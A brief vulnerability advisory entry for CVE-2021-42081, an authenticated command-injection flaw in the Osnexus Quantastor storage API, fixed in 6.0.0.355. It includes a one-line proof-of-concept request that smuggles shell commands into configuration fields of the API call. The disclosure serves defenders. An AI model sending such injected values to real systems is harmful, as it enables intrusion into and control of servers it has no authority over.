CVE-2021-42081: Osnexus Quantastor

High severity, CVSS 7.2. EPSS: 1.2% chance of exploitation in the next 30 days.

An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al

Affected products

• Osnexus Quantastor: before 6.0.0.355 (fixed in 6.0.0.355)

Published 2023-07-10. Last modified 2026-06-17.